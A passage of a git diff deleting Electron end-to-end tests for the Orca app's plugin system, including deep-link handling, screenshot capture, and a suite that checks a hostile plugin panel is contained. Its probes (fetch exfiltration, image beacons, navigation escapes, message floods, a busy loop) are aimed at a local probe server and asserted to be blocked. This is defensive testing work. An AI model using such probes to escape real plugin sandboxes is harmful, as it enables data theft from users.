| null = null - try { - launched = await session.launch() - const { app, page } = launched - // Fetch the catalog once, then turn plugins off so the link has to wait behind the switch. - await page.evaluate(async () => { - await window.api.settings.set({ pluginSystemEnabled: true }) - await window.api.plugins.refreshMarketplaces?.({}) - }) - await expect - .poll( - () => - page.evaluate(async () => - (await window.api.plugins.listMarketplacePlugins()).map((entry) => entry.pluginKey) - ), - { timeout: 60_000 } - ) - .toContain(GLEAM_PLUGIN_KEY) - await page.evaluate(async () => { - const settings = await window.api.settings.set({ pluginSystemEnabled: false }) - window.__store?.setState({ settings }) - }) - - await openLink(app, 'orca://plugins/stablyai..bad') - await expect(page.getByText('That plugin link isn’t valid.')).toBeVisible({ timeout: 15_000 }) - - await openLink(app, `orca://plugins/${GLEAM_PLUGIN_KEY}?catalog=official`) - await expect(page.getByText('Plugins are off')).toBeVisible({ timeout: 15_000 }) - // Off comes only from a saved choice now; turning it back on lands on the waiting link's page. - await page.evaluate(async () => { - const settings = await window.api.settings.set({ pluginSystemEnabled: true }) - window.__store?.setState({ settings }) - }) - const pluginPage = page.getByRole('article') - await expect(pluginPage.locator('#plugin-detail-heading')).toContainText('Gleam', { - timeout: 30_000 - }) - await expect(pluginPage.getByRole('button', { name: /^Install/ })).toBeVisible() - await expect(page.getByRole('dialog')).toHaveCount(0) - - const catalogUrl = encodeURIComponent('https://github.com/acme/orca-catalog.git') - await openLink(app, `orca://plugins/acme.dusk?catalog=${catalogUrl}`) - const prompt = page.getByRole('dialog', { name: 'Add catalog github.com/acme?' }) - await expect(prompt).toBeVisible({ timeout: 15_000 }) - await prompt.getByRole('button', { name: 'Cancel' }).click() - await expect(prompt).toBeHidden() - - const state = await page.evaluate(async () => ({ - installed: (await window.api.plugins.list()).map((entry) => entry.pluginKey), - catalogs: (await window.api.plugins.listMarketplaces()).map((entry) => entry.source.url) - })) - expect(state.installed).not.toContain(GLEAM_PLUGIN_KEY) - expect(state.catalogs).not.toContain('https://github.com/acme/orca-catalog.git') - } finally { - if (launched) { - await session.close(launched.app) - } - await session.dispose() - await rm(root, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-panel-containment.spec.ts b/tests/e2e/plugin-panel-containment.spec.ts deleted file mode 100644 index 522db621fe5..00000000000 --- a/tests/e2e/plugin-panel-containment.spec.ts +++ /dev/null @@ -1,542 +0,0 @@ -// Require zero loopback requests plus isolated-guest CSP/navigation containment and bounded bridge refusal. -// Chromium is required; keep experimental maturity until CI soak covers every desktop platform. - -import { cp, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' -import { createServer, type Server } from 'node:http' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { AddressInfo } from 'node:net' -import type { ElectronApplication, Locator, Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - clickInGuest, - evalInGuest, - guestWebContentsId, - pluginGuest, - readGuestCsp, - readInGuest, - waitForGuestReady, - ISOLATED_FRAMES_E2E -} from './helpers/plugin-frame-guest' - -// Isolated frames are off by default; these journeys exercise the guest path. -test.use(ISOLATED_FRAMES_E2E) - -type InstalledPanel = { - pluginKey: string - tabKey: string - title: string -} - -type ProbeServer = { - origin: string - requests: string[] - close: () => Promise -} - -type GuestNavigationObservation = { - willFrameNavigations: { defaultPrevented: boolean; isMainFrame: boolean; url: string }[] - didFrameNavigations: string[] - externalUrls: string[] - /** Orca's "wants to open" prompts, answered from `promptAnswers` (default Cancel). */ - prompts: { message: string; detail: string; checkboxLabel: string }[] - promptAnswers: { response: number; checkboxChecked: boolean }[] -} - -type GuestDocumentSnapshot = { - url: string - marker: string | null - fixture: boolean -} - -async function closeServer(server: Server): Promise { - await new Promise((resolve, reject) => { - server.close((error) => { - if (error) { - reject(error) - return - } - resolve() - }) - }) -} - -async function startPermissiveProbeServer(): Promise { - const requests: string[] = [] - const gif = Buffer.from('R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=', 'base64') - const server = createServer((request, response) => { - requests.push(request.url ?? '/') - response.setHeader('Access-Control-Allow-Origin', '*') - if (request.url?.includes('beacon.gif')) { - response.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': gif.byteLength }) - response.end(gif) - return - } - response.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' }) - response.end('permissive probe response') - }) - await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)) - const port = (server.address() as AddressInfo).port - return { - origin: `http://127.0.0.1:${port}`, - requests, - close: () => closeServer(server) - } -} - -async function materializeHostilePlugin(origin: string): Promise { - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-hostile-panel-e2e-')) - const pluginRoot = join(tempRoot, 'hostile-panel') - await cp( - join(process.cwd(), 'examples', 'plugins', 'test-fixtures', 'hostile-panel'), - pluginRoot, - { - recursive: true - } - ) - const panelPath = join(pluginRoot, 'panel.html') - const panelHtml = await readFile(panelPath, 'utf8') - await writeFile(panelPath, panelHtml.replaceAll('https://example.com', origin)) - return pluginRoot -} - -async function installApprovedPanel(page: Page, sourcePath: string): Promise { - return page.evaluate(async (pluginPath) => { - const settings = await window.api.settings.set({ pluginSystemEnabled: true }) - window.__store?.setState({ settings }) - await window.api.plugins.refresh() - const installed = await window.api.plugins.install({ kind: 'local-path', path: pluginPath }) - if (!installed.ok) { - throw new Error(installed.error) - } - const listed = await window.api.plugins.refresh() - const plugin = listed.find((entry) => entry.pluginKey === installed.pluginKey) - if (!plugin?.consentFingerprint || !plugin.panels[0]) { - throw new Error(`installed plugin ${installed.pluginKey} has no reviewable panel`) - } - const approved = await window.api.plugins.consent({ - pluginKey: plugin.pluginKey, - reviewedFingerprint: plugin.consentFingerprint, - decision: 'approve' - }) - const approvedPlugin = approved.find((entry) => entry.pluginKey === plugin.pluginKey) - const panel = approvedPlugin?.panels[0] - if (!panel) { - throw new Error(`approved plugin ${plugin.pluginKey} has no panel`) - } - return { pluginKey: plugin.pluginKey, tabKey: panel.tabKey, title: panel.title } - }, sourcePath) -} - -async function openPanel(page: Page, panel: InstalledPanel): Promise { - await page.evaluate(async () => { - const store = window.__store?.getState() - if (!store) { - throw new Error('window.__store is unavailable') - } - if (!store.rightSidebarOpen) { - store.toggleRightSidebar() - } - // Refresh after the sidebar subscription exists so this isolated profile - // cannot miss the install/consent change events emitted just before mount. - await window.api.plugins.refresh() - }) - const panelButton = page.getByRole('button', { name: panel.title }) - await expect(panelButton).toBeVisible({ timeout: 15_000 }) - await panelButton.click() - const guest = pluginGuest(page, panel.title) - await expect(guest).toBeVisible({ timeout: 15_000 }) - await waitForGuestReady(guest) - return guest -} - -async function attachProbeRequests(testInfo: TestInfo, requests: readonly string[]): Promise { - await testInfo.attach('hostile-panel-loopback-requests', { - body: Buffer.from(JSON.stringify(requests, null, 2)), - contentType: 'application/json' - }) -} - -// Watches the guest WebContents itself: main's own will-frame-navigate guard runs first. -async function startGuestObserver( - electronApp: ElectronApplication, - guestId: number -): Promise { - await electronApp.evaluate(({ dialog, shell, webContents }, id) => { - // By id: earlier specs in this worker may leave other plugins' guests alive. - const guest = webContents.fromId(id) - if (!guest) { - throw new Error('plugin guest WebContents not found') - } - const observation: GuestNavigationObservation = { - willFrameNavigations: [], - didFrameNavigations: [], - externalUrls: [], - prompts: [], - promptAnswers: [] - } - const onWill = (event: Electron.Event) => { - observation.willFrameNavigations.push({ - defaultPrevented: event.defaultPrevented, - isMainFrame: event.isMainFrame, - url: event.url - }) - } - const onDid = (_event: Electron.Event, url: string) => { - observation.didFrameNavigations.push(url) - } - const originalOpenExternal = shell.openExternal - const originalShowMessageBox = dialog.showMessageBox - // Never a native prompt on the test machine: record it and answer from the queue. - const recordPrompt = async (...args: unknown[]): Promise => { - const options = args.at(-1) - const field = (name: string): string => - typeof options === 'object' && options !== null && name in options - ? String(Object.getOwnPropertyDescriptor(options, name)?.value) - : '' - observation.prompts.push({ - message: field('message'), - detail: field('detail'), - checkboxLabel: field('checkboxLabel') - }) - return { ...(observation.promptAnswers.shift() ?? { response: 1, checkboxChecked: false }) } - } - dialog.showMessageBox = recordPrompt - const recordOpenExternal = async (url: string): Promise => { - observation.externalUrls.push(url) - } - guest.on('will-frame-navigate', onWill) - guest.on('did-frame-navigate', onDid) - shell.openExternal = recordOpenExternal - if (shell.openExternal !== recordOpenExternal) { - throw new Error('shell.openExternal could not be stubbed') - } - Reflect.set(globalThis, '__orcaGuestProbe', { - observation, - dispose: () => { - guest.off('will-frame-navigate', onWill) - guest.off('did-frame-navigate', onDid) - shell.openExternal = originalOpenExternal - dialog.showMessageBox = originalShowMessageBox - } - }) - }, guestId) -} - -async function readGuestObserver( - electronApp: ElectronApplication -): Promise { - const observation: GuestNavigationObservation = await electronApp.evaluate( - () => - Object.getOwnPropertyDescriptor(globalThis, '__orcaGuestProbe')?.value?.observation ?? null - ) - return observation -} - -async function stopGuestObserver( - electronApp: ElectronApplication -): Promise { - const observation: GuestNavigationObservation | null = await electronApp.evaluate(() => { - const probe = Object.getOwnPropertyDescriptor(globalThis, '__orcaGuestProbe')?.value - probe?.dispose() - Reflect.deleteProperty(globalThis, '__orcaGuestProbe') - return probe?.observation ?? null - }) - return observation -} - -async function readGuestDocument(guest: Locator): Promise { - const url = await guest.evaluate((webview: Electron.WebviewTag) => webview.getURL()) - const content = await evalInGuest<{ marker: string | null; fixture: boolean }>( - guest, - `({ marker: document.documentElement.dataset.navigationProbeDocument ?? null, - fixture: document.querySelector('h1')?.textContent === 'Hostile panel fixture' })` - ) - return { url, ...content } -} - -function readProbe(guest: Locator, probe: string): Promise { - return readInGuest( - guest, - `document.querySelector('[data-probe="${probe}"]')?.dataset.contained ?? null` - ) -} - -test('contains hostile panel network and navigation probes', async ({ - electronApp, - orcaPage -}, testInfo) => { - testInfo.annotations.push({ type: 'maturity', description: 'experimental' }) - const server = await startPermissiveProbeServer() - const pluginRoot = await materializeHostilePlugin(server.origin) - const tempRoot = join(pluginRoot, '..') - const appUrl = orcaPage.url() - const guestDocuments: GuestDocumentSnapshot[] = [] - let observation: GuestNavigationObservation | null = null - let observing = false - try { - const panel = await installApprovedPanel(orcaPage, pluginRoot) - const guest = await openPanel(orcaPage, panel) - - await expect(guest).toHaveAttribute('partition', /^persist:orca-plugin-[0-9a-f]{16}$/) - await expect(orcaPage.locator(`iframe[title="${panel.title}"]`)).toHaveCount(0) - expect(await readGuestCsp(guest)).toMatch(/connect-src 'self' data: blob:.*frame-src 'none'/) - - for (const probe of ['fetch-exfil', 'img-beacon']) { - await expect.poll(() => readProbe(guest, probe), { timeout: 5_000 }).toBe('true') - } - - const bridgeErrorCode = await evalInGuest( - guest, - `window.orca.host.call('invalid.hostileAction', {}).then( - () => 'unexpected_success', - (error) => (typeof error?.code === 'string' ? error.code : 'missing_error_code'))` - ) - // Why the host's code: the renderer checks only the shape, the host gates the method. - expect(bridgeErrorCode).toBe('unknown_method') - expect(server.requests).toEqual([]) - expect(orcaPage.url()).toBe(appUrl) - - await startGuestObserver(electronApp, await guestWebContentsId(guest)) - observing = true - const initial = await readGuestDocument(guest) - guestDocuments.push(initial) - expect(initial.url).toMatch(/^orca-plugin-frame:\/\/[0-9a-f]{16}\//) - for (const navigation of [ - { button: 'navigate-top', probe: 'top-navigation' }, - { button: 'navigate-self', probe: 'self-navigation' }, - { button: 'navigate-anchor-form', probe: 'anchor-form-navigation' }, - { button: 'navigate-meta', probe: 'meta-refresh-navigation' } - ]) { - const documentId = `source:${navigation.probe}` - await evalInGuest( - guest, - `document.documentElement.dataset.navigationProbeDocument = ${JSON.stringify(documentId)}; - document.getElementById(${JSON.stringify(navigation.button)}).click()` - ) - // Each probe reports after its attempt; a guest is its own top, so top-navigation's - // `window.top !== window` verdict is meaningless here and the URL check decides. - await expect.poll(() => readProbe(guest, navigation.probe)).not.toBeNull() - const current = await readGuestDocument(guest) - guestDocuments.push(current) - expect(current).toEqual({ url: initial.url, marker: documentId, fixture: true }) - expect(server.requests).toEqual([]) - expect(orcaPage.url()).toBe(appUrl) - } - - const guardDestination = `${server.origin}/frame-guard-navigation` - await evalInGuest(guest, `location.assign(${JSON.stringify(guardDestination)})`) - await expect - .poll(async () => { - observation = await readGuestObserver(electronApp) - const attempt = observation.willFrameNavigations.find(({ url }) => url === guardDestination) - return attempt?.defaultPrevented === true && attempt.isMainFrame - }) - .toBe(true) - const guarded = await readGuestDocument(guest) - guestDocuments.push(guarded) - expect(guarded).toEqual({ - url: initial.url, - marker: 'source:meta-refresh-navigation', - fixture: true - }) - - observation = await readGuestObserver(electronApp) - const attempted = observation.willFrameNavigations.filter(({ url }) => - url.startsWith(server.origin) - ) - expect(attempted.every(({ defaultPrevented }) => defaultPrevented)).toBe(true) - expect(observation.didFrameNavigations.filter((url) => url.startsWith(server.origin))).toEqual( - [] - ) - expect(observation.externalUrls).toEqual([]) - expect(server.requests).toEqual([]) - expect(orcaPage.url()).toBe(appUrl) - - // Bridge budgets on the guest path: oversized and flooded calls get real refusals. - await clickInGuest(guest, '#bridge') - for (const probe of ['oversized-message', 'message-flood']) { - await expect - .poll(() => - readInGuest( - guest, - `document.querySelector('[data-probe="${probe}"]')?.dataset.contained ?? null` - ) - ) - .toBe('true') - } - } finally { - try { - if (observing) { - observation = await stopGuestObserver(electronApp) - } - } finally { - await attachProbeRequests(testInfo, server.requests) - await testInfo.attach('hostile-panel-guest-documents', { - body: Buffer.from(JSON.stringify(guestDocuments, null, 2)), - contentType: 'application/json' - }) - await testInfo.attach('hostile-panel-guest-navigation-observation', { - body: Buffer.from(JSON.stringify(observation, null, 2)), - contentType: 'application/json' - }) - await server.close() - await rm(tempRoot, { recursive: true, force: true }) - } - } -}) - -test('shell.openExternal from a panel needs a real gesture in the guest', async ({ - electronApp, - orcaPage -}, testInfo) => { - testInfo.annotations.push({ type: 'maturity', description: 'experimental' }) - const server = await startPermissiveProbeServer() - const pluginRoot = await materializeHostilePlugin(server.origin) - const tempRoot = join(pluginRoot, '..') - const target = 'https://example.com/orca-open-external-probe' - let observing = false - try { - const panel = await installApprovedPanel(orcaPage, pluginRoot) - const guest = await openPanel(orcaPage, panel) - await startGuestObserver(electronApp, await guestWebContentsId(guest)) - observing = true - - const ungated = await evalInGuest( - guest, - `window.orca.shell.openExternal(${JSON.stringify(target)}).then( - () => 'opened', (error) => String(error?.code))` - ) - expect(ungated).toBe('not_permitted') - expect((await readGuestObserver(electronApp)).externalUrls).toEqual([]) - - await evalInGuest( - guest, - `(() => { - const button = document.createElement('button') - button.id = 'open-external' - button.textContent = 'Open external' - button.style.cssText = 'position:fixed;top:0;left:0;width:160px;height:40px;z-index:9' - button.onclick = () => window.orca.shell.openExternal(${JSON.stringify(target)}).then( - (result) => { window.__openExternal = result.opened ? 'opened' : result.reason }, - (error) => { window.__openExternal = String(error?.code) }) - document.body.appendChild(button) - })()` - ) - // A scripted click is not a gesture: the same handler must be refused. - await evalInGuest(guest, `document.getElementById('open-external').click()`) - await expect - .poll(() => readInGuest(guest, 'window.__openExternal ?? null')) - .toBe('not_permitted') - expect((await readGuestObserver(electronApp)).externalUrls).toEqual([]) - expect((await readGuestObserver(electronApp)).prompts).toEqual([]) - - const clickAndRead = async (): Promise => { - await evalInGuest(guest, 'window.__openExternal = null') - await clickInGuest(guest, '#open-external') - await expect - .poll(() => readInGuest(guest, 'window.__openExternal ?? null')) - .not.toBeNull() - return readInGuest(guest, 'window.__openExternal ?? null') - } - // This background launch's window is hidden, so nobody could answer a prompt: it settles at - // once, unopened, instead of waiting forever. - expect(await clickAndRead()).toBe('consent-unavailable') - expect((await readGuestObserver(electronApp)).prompts).toEqual([]) - // Report the window as on screen (it is never shown) so the prompt path runs. - await electronApp.evaluate(({ BrowserWindow }) => { - for (const window of BrowserWindow.getAllWindows()) { - window.isVisible = () => true - window.isMinimized = () => false - } - }) - - // A real click on a host this plugin was never allowed asks first; Cancel opens nothing. - expect(await clickAndRead()).toBe('cancelled') - let observed = await readGuestObserver(electronApp) - expect(observed.externalUrls).toEqual([]) - expect(observed.prompts).toEqual([ - { - message: expect.stringContaining('wants to open example.com'), - detail: target, - checkboxLabel: expect.stringContaining('example.com') - } - ]) - // Open with "Always allow": opened now, and the next click opens without asking. - await electronApp.evaluate(() => { - Object.getOwnPropertyDescriptor( - globalThis, - '__orcaGuestProbe' - )?.value?.observation.promptAnswers.push({ response: 0, checkboxChecked: true }) - }) - expect(await clickAndRead()).toBe('opened') - expect(await clickAndRead()).toBe('opened') - observed = await readGuestObserver(electronApp) - expect(observed.externalUrls).toEqual([target, target]) - expect(observed.prompts).toHaveLength(2) - } finally { - if (observing) { - await stopGuestObserver(electronApp) - } - await server.close() - await rm(tempRoot, { recursive: true, force: true }) - } -}) - -test('detects and suspends a busy-looping panel in an isolated renderer', async ({ - electronApp, - orcaPage -}, testInfo) => { - testInfo.annotations.push({ type: 'maturity', description: 'experimental' }) - const server = await startPermissiveProbeServer() - const pluginRoot = await materializeHostilePlugin(server.origin) - const tempRoot = join(pluginRoot, '..') - const appUrl = orcaPage.url() - let processes: { main: number | null; guest: number | null; guestUrl: string | null } | null = - null - try { - const panel = await installApprovedPanel(orcaPage, pluginRoot) - const guest = await openPanel(orcaPage, panel) - - const guestId = await guestWebContentsId(guest) - processes = await electronApp.evaluate( - ({ BrowserWindow, webContents }, { expectedUrl, id }) => { - const mainContents = ( - BrowserWindow.getAllWindows().find( - (candidate) => candidate.webContents.getURL() === expectedUrl - ) ?? BrowserWindow.getAllWindows()[0] - )?.webContents - const guestContents = webContents.fromId(id) - return { - main: mainContents?.getOSProcessId() ?? null, - guest: guestContents?.getOSProcessId() ?? null, - guestUrl: guestContents?.getURL() ?? null - } - }, - { expectedUrl: appUrl, id: guestId } - ) - expect(processes.main).toBeGreaterThan(0) - expect(processes.guest).toBeGreaterThan(0) - expect(processes.guest).not.toBe(processes.main) - - // Deferred so executeJavaScript resolves before the guest's main thread spins. - await evalInGuest(guest, `setTimeout(() => document.getElementById('busy').click(), 0)`) - - await expect( - orcaPage.getByText('This plugin panel stopped responding and was suspended.') - ).toBeVisible({ timeout: 20_000 }) - await expect( - orcaPage.getByRole('button', { name: new RegExp(`${panel.title}.*Error`) }) - ).toBeVisible() - expect(orcaPage.url()).toBe(appUrl) - expect(server.requests).toEqual([]) - } finally { - await testInfo.attach('hostile-panel-processes', { - body: Buffer.from(JSON.stringify(processes, null, 2)), - contentType: 'application/json' - }) - await attachProbeRequests(testInfo, server.requests) - await server.close() - await rm(tempRoot, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-shot-editor.spec.ts b/tests/e2e/plugin-shot-editor.spec.ts deleted file mode 100644 index 695c0a7201d..00000000000 --- a/tests/e2e/plugin-shot-editor.spec.ts +++ /dev/null @@ -1,163 +0,0 @@ -/** - * Invariant: `orca plugin shot --editor` opens a file in a plugin's custom editor from the hidden - * test window, waits for the editor to get and ask for its document, sends `--act` input into the - * editor's isolated guest on a temporary copy of the file, and captures what it drew without showing or focusing the window. A - * file no workspace holds opens its folder as a folder workspace; an editor that never asks for its - * document, or throws, fails the command. - */ - -import { mkdir, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { runCompiledOrcaCli } from './helpers/compiled-orca-cli' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' -import { ISOLATED_FRAMES_E2E } from './helpers/plugin-frame-guest' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -test.use(ISOLATED_FRAMES_E2E) - -// Red after a click anywhere, so the image proves the act reached the guest before the capture. -const EDITOR_HTML = ` - -
- -` - -const BROKEN_HTML = `` - -/** Share of pure red pixels, decoded in Electron's main process. */ -function redShare(app: ElectronApplication, path: string): Promise { - return app.evaluate(({ nativeImage }, file) => { - const bgra = nativeImage.createFromPath(file).toBitmap() - let red = 0 - for (let at = 0; at + 3 < bgra.length; at += 4) { - if ((bgra[at + 2] ?? 0) > 200 && (bgra[at + 1] ?? 0) < 60 && (bgra[at] ?? 0) < 60) { - red += 1 - } - } - return red / Math.max(1, bgra.length / 4) - }, path) -} - -async function editorPlugin(root: string, id: string, extension: string, html: string) { - await mkdir(join(root, id, 'editor'), { recursive: true }) - await writeFile( - join(root, id, 'orca-plugin.json'), - JSON.stringify({ - manifestVersion: 2, - execution: 'sandboxed-ui', - id, - name: id, - version: '1.0.0', - engines: { orca: '>=1.4.246' }, - pluginApi: 1, - contributes: { - customEditors: [{ id, title: id, extensions: [extension], entry: 'editor/index.html' }] - } - }) - ) - await writeFile(join(root, id, 'editor', 'index.html'), html) - return join(root, id) -} - -test('plugin shot --editor opens the file, acts in the guest and fails a broken editor', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-editor-shot-')) - try { - const good = await editorPlugin(tempRoot, 'red-click', '.redclick', EDITOR_HTML) - const broken = await editorPlugin(tempRoot, 'broken-editor', '.broken', BROKEN_HTML) - // Outside every workspace: the shot opens this folder as a folder workspace. - const docs = join(tempRoot, 'docs') - await mkdir(docs) - await writeFile(join(docs, 'a.redclick'), 'x') - await writeFile(join(docs, 'b.broken'), 'x') - await enableDevPlugins(orcaPage, [good, broken]) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - - await expect - .poll( - async () => { - const run = await runCompiledOrcaCli(userDataDir, [ - 'plugin', - 'shot', - 'local.red-click', - '--editor', - join(docs, 'a.redclick'), - '--width', - '320', - '--height', - '200', - '--act', - '[{"click":[20,20]}]', - '--out', - join(tempRoot, 'acted.png'), - '--json' - ]) - return run.json?.ok ? run.json.result : run.stderr - }, - { timeout: 60_000, message: 'the editor shot never succeeded' } - ) - .toMatchObject({ width: 320, height: 200, subscribed: true, errors: [], acted: 1 }) - expect(await redShare(electronApp, join(tempRoot, 'acted.png'))).toBeGreaterThan(0.9) - // The acts ran on a copy: the file is unchanged, and no tab or workspace of the copy is left. - expect(await readFile(join(docs, 'a.redclick'), 'utf8')).toBe('x') - expect( - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - return { - tabs: state?.openFiles.filter((file) => file.filePath.endsWith('a.redclick')).length, - scratch: state?.repos.filter((repo) => repo.path.includes('orca-editor-shot-')).length - } - }) - ).toEqual({ tabs: 0, scratch: 0 }) - expect( - await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().some((window) => window.isVisible() || window.isFocused()) - ) - ).toBe(false) - - const failed = await runCompiledOrcaCli(userDataDir, [ - 'plugin', - 'shot', - 'local.broken-editor', - '--editor', - join(docs, 'b.broken'), - '--out', - join(tempRoot, 'broken.png') - ]) - expect(failed.code).toBe(1) - expect(failed.stdout).toContain('never asked for its document') - expect(failed.stdout).toContain('editor exploded') - - // Orca's own chrome, where plugins draw status bar items, from the hidden window too. - const statusBar = await runCompiledOrcaCli(userDataDir, [ - 'plugin', - 'shot', - 'local.red-click', - '--status-bar', - '--out', - join(tempRoot, 'status-bar.png'), - '--json' - ]) - expect(statusBar.json?.result).toMatchObject({ region: 'status-bar', height: 24 }) - expect( - await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().some((window) => window.isVisible() || window.isFocused()) - ) - ).toBe(false) - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(tempRoot, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-shot.spec.ts b/tests/e2e/plugin-shot.spec.ts deleted file mode 100644 index b1d73af78a0..00000000000 --- a/tests/e2e/plugin-shot.spec.ts +++ /dev/null @@ -1,482 +0,0 @@ -/** - * Invariant: `orca plugin shot` captures exactly a plugin panel as Orca draws it, from the hidden - * test window, without showing or focusing it: a components panel (Orca's own DOM) at the asked - * width and theme, after `--act` input when asked, and an html panel whose isolated guest content - * is in the image. `--scenario` captures a `.check.ts` scenario drawn apart from the plugin, so - * its data never reaches the live panel, the plugin's storage or its worker. - */ - -import { cp, mkdir, mkdtemp, readdir, readFile, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { orcaCliResult, runCompiledOrcaCli } from './helpers/compiled-orca-cli' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' -import { createPluginFromTemplate } from '../../src/cli/plugins/authoring/plugin-create' -import { ISOLATED_FRAMES_E2E } from './helpers/plugin-frame-guest' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -test.use(ISOLATED_FRAMES_E2E) - -type Shot = { - path: string - panelId: string - width: number - height: number - theme: 'light' | 'dark' - themeApplied: boolean - settled: boolean - errors: string[] -} - -type PngStats = { width: number; height: number; colors: number; redShare: number } - -/** Decodes the PNG in Electron's main process: no image library in the test runner. */ -function pngStats(app: ElectronApplication, path: string): Promise { - return app.evaluate(({ nativeImage }, file) => { - const image = nativeImage.createFromPath(file) - const { width, height } = image.getSize() - const bgra = image.toBitmap() - const colors = new Set() - let red = 0 - for (let at = 0; at + 3 < bgra.length; at += 4) { - const [b, g, r] = [bgra[at] ?? 0, bgra[at + 1] ?? 0, bgra[at + 2] ?? 0] - colors.add((r << 16) | (g << 8) | b) - if (r > 200 && g < 60 && b < 60) { - red += 1 - } - } - return { width, height, colors: colors.size, redShare: red / Math.max(1, width * height) } - }, path) -} - -/** The window stays hidden and unfocused: a capture is renderer state plus capturePage only. */ -function windowsShown(app: ElectronApplication): Promise { - return app.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().map((window) => window.isVisible() || window.isFocused()) - ) -} - -async function devPluginKey(page: Page, name: string): Promise { - let key = '' - await expect - .poll( - async () => { - const list = await page.evaluate(() => window.api.plugins.list()) - key = list.find((plugin) => plugin.isDev && plugin.name === name)?.pluginKey ?? '' - return key - }, - { timeout: 15_000, message: `the ${name} dev plugin never listed` } - ) - .not.toBe('') - return key -} - -async function devChangeCount(page: Page, pluginKey: string): Promise { - const list = await page.evaluate(() => window.api.plugins.list()) - return list.find((plugin) => plugin.pluginKey === pluginKey)?.devChangeCount ?? 0 -} - -test('plugin shot captures a components panel at the asked width and theme, hidden', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-plugin-shot-')) - const pluginRoot = join(tempRoot, 'hello-tsx') - try { - await cp(join(process.cwd(), 'examples', 'plugins', 'hello-tsx'), pluginRoot, { - recursive: true - }) - await enableDevPlugins(orcaPage, [pluginRoot]) - const pluginKey = await devPluginKey(orcaPage, 'Hello TSX') - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const themeBefore = await orcaPage.evaluate(() => window.__store?.getState().settings?.theme) - const widthBefore = await orcaPage.evaluate(() => window.__store?.getState().rightSidebarWidth) - const shownBefore = await windowsShown(electronApp) - - const dark = await orcaCliResult(userDataDir, [ - 'plugin', - 'shot', - pluginKey, - '--width', - '360', - '--theme', - 'dark', - '--out', - join(tempRoot, 'dark.png') - ]) - expect(dark).toMatchObject({ panelId: 'todos', width: 360, settled: true, errors: [] }) - expect(dark).toMatchObject({ theme: 'dark', themeApplied: true }) - const darkStats = await pngStats(electronApp, dark.path) - expect(darkStats).toMatchObject({ width: 360, height: dark.height }) - expect(darkStats.height).toBeGreaterThan(200) - // Text, inputs and buttons: far from a blank or single-color capture. - expect(darkStats.colors).toBeGreaterThan(20) - - const light = await orcaCliResult(userDataDir, [ - 'plugin', - 'shot', - pluginKey, - '--theme', - 'light', - '--out', - join(tempRoot, 'light.png') - ]) - expect(light).toMatchObject({ theme: 'light', themeApplied: true, settled: true }) - expect((await pngStats(electronApp, light.path)).colors).toBeGreaterThan(20) - - // Nothing the capture changed outlives it. - expect(await orcaPage.evaluate(() => window.__store?.getState().settings?.theme)).toBe( - themeBefore - ) - expect(await orcaPage.evaluate(() => window.__store?.getState().rightSidebarWidth)).toBe( - widthBefore - ) - expect(await windowsShown(electronApp)).toEqual(shownBefore) - await expect(orcaPage.getByRole('heading', { name: 'Tasks' })).toBeVisible() - - // After a save, a shot waits for the new code: a broken save reports its located load error. - const panelFile = join(pluginRoot, 'src', 'panel.tsx') - const source = await readFile(panelFile, 'utf8') - const saved = async (contents: string): Promise => { - const before = await devChangeCount(orcaPage, pluginKey) - await writeFile(panelFile, contents) - await expect - .poll(() => devChangeCount(orcaPage, pluginKey), { timeout: 15_000 }) - .toBeGreaterThan(before) - } - await saved("import { atom } from 'orca'\n\nconst = 1\n") - const broken = await orcaCliResult(userDataDir, [ - 'plugin', - 'shot', - pluginKey, - '--out', - join(tempRoot, 'broken.png') - ]) - expect(broken.settled).toBe(true) - expect(broken.errors.join('\n')).toContain('src/panel.tsx:3') - await saved(source) - const fixed = await orcaCliResult(userDataDir, [ - 'plugin', - 'shot', - pluginKey, - '--out', - join(tempRoot, 'fixed.png') - ]) - expect(fixed).toMatchObject({ settled: true, errors: [] }) - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(tempRoot, { recursive: true, force: true }) - } -}) - -test('plugin shot includes an html panel guest, plugin open shows a panel, and ifShown never switches', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-plugin-shot-html-')) - const pluginRoot = join(tempRoot, 'red-frame') - try { - await mkdir(pluginRoot, { recursive: true }) - await writeFile( - join(pluginRoot, 'orca-plugin.json'), - JSON.stringify({ - manifestVersion: 2, - execution: 